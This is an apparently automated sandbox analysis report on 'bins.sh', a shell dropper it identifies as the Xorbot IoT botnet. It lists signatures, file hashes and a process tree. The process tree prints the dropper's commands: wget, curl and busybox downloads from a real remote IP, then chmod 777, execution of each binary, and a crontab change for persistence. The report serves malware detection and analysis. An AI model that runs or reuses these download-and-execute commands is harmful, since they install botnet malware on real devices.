Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23/01/2025, 15:22

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250123-srwhystndz
  • SHA256 505a626c966ea9a4aa39dfc55e109fa9c290f70dfe3c14ffc82e48d9e4182666
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (573) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:651
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:657
      • /usr/bin/wget
        wget http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Writes file to tmp directory
        PID:659
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:769
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Writes file to tmp directory
        PID:774
      • /bin/chmod
        chmod 777 X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • File and Directory Permissions Modification
        PID:777
      • /tmp/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        ./X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
          PID:778
        • /bin/rm
          rm X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
          2⤵
            PID:780
          • /usr/bin/wget
            wget http://94.154.35.94/bins/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • Writes file to tmp directory
            PID:781
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:782
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • Writes file to tmp directory
            PID:783
          • /bin/chmod
            chmod 777 rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • File and Directory Permissions Modification
            PID:784
          • /tmp/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            ./rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
              PID:785
            • /bin/rm
              rm rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
              2⤵
                PID:787
              • /usr/bin/wget
                wget http://94.154.35.94/bins/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • Writes file to tmp directory
                PID:788
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:789
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • Writes file to tmp directory
                PID:790
              • /bin/chmod
                chmod 777 NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • File and Directory Permissions Modification
                PID:791
              • /tmp/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                ./NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                  PID:792
                • /bin/rm
                  rm NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                  2⤵
                    PID:795
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • Writes file to tmp directory
                    PID:796
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:797
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • Writes file to tmp directory
                    PID:798
                  • /bin/chmod
                    chmod 777 WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • File and Directory Permissions Modification
                    PID:800
                  • /tmp/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    ./WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                      PID:801
                    • /bin/rm
                      rm WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                      2⤵
                        PID:803
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • Writes file to tmp directory
                        PID:805
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:806
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • Writes file to tmp directory
                        PID:807
                      • /bin/chmod
                        chmod 777 96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • File and Directory Permissions Modification
                        PID:808
                      • /tmp/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        ./96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                          PID:809
                        • /bin/rm
                          rm 96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                          2⤵
                            PID:811
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • Writes file to tmp directory
                            PID:812
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • Checks CPU configuration
                            • Writes file to tmp directory
                            PID:813
                          • /bin/busybox
                            /bin/busybox wget http://94.154.35.94/bins/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • Writes file to tmp directory
                            PID:814
                          • /bin/chmod
                            chmod 777 MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • File and Directory Permissions Modification
                            PID:815
                          • /tmp/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            ./MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                              PID:816
                            • /bin/rm
                              rm MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                              2⤵
                                PID:818
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                2⤵
                                • Writes file to tmp directory
                                PID:819
                              • /usr/bin/curl
                                curl -O http://94.154.35.94/bins/cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:820
                              • /bin/busybox
                                /bin/busybox wget http://94.154.35.94/bins/cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                2⤵
                                • Writes file to tmp directory
                                PID:821
                              • /bin/chmod
                                chmod 777 cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                2⤵
                                • File and Directory Permissions Modification
                                PID:824
                              • /tmp/cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                ./cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                2⤵
                                  PID:825
                                • /bin/rm
                                  rm cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                  2⤵
                                    PID:827
                                  • /usr/bin/wget
                                    wget http://94.154.35.94/bins/9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:828
                                  • /usr/bin/curl
                                    curl -O http://94.154.35.94/bins/9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:829
                                  • /bin/busybox
                                    /bin/busybox wget http://94.154.35.94/bins/9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:830
                                  • /bin/chmod
                                    chmod 777 9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:831
                                  • /tmp/9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    ./9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:832
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:834
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:835
                                        • /bin/sh
                                          sh -c "crontab -"
                                          3⤵
                                            PID:836
                                            • /usr/bin/crontab
                                              crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              • Reads runtime system information
                                              PID:837
                                        • /bin/rm
                                          rm 9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                          2⤵
                                            PID:839
                                          • /usr/bin/wget
                                            wget http://94.154.35.94/bins/1K3F4cK9XWo7D6mTTZHGf0AfhFPojK3BkE
                                            2⤵
                                              PID:842

                                          Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP

                                                • Path /tmp/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                                                • Size 111KB
                                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                • MD5 SHA1 SHA512 SSDEEP

                                                9TO96JOAHWDYrzCUhaVflK3plCWna54vUn

                                                • Path /tmp/9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                                • Size 177KB
                                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                • MD5 SHA1 SHA512 SSDEEP

                                                MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI

                                                • Path /tmp/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                                                • Size 112KB
                                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                • MD5 SHA1 SHA512 SSDEEP

                                                NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8

                                                • Path /tmp/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                                                • Size 122KB
                                                • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                • MD5 SHA1 SHA512 SSDEEP

                                                WAvcQv82EymaB772d3y0TMPGqdv3teybHn

                                                • Path /tmp/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                                                • Size 107KB
                                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                • MD5 SHA1 SHA512 SSDEEP

                                                X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt

                                                • Path /tmp/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
                                                • Size 151KB
                                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                • MD5 SHA1 SHA512 SSDEEP

                                                cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE

                                                • Path /tmp/cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                                • Size 98KB
                                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                • MD5 SHA1 SHA512 SSDEEP

                                                rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe

                                                • Path /tmp/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
                                                • Size 111KB
                                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                • MD5 SHA1 SHA512 SSDEEP

                                                tmp.N6AG6C

                                                • Path /var/spool/cron/crontabs/tmp.N6AG6C
                                                • Size 210B
                                                • SHA256 1f25eafeeb3c95c60289b169613b4c6b1ef5016247221cb10139ab57252ec389
                                                • MD5 SHA1 SHA512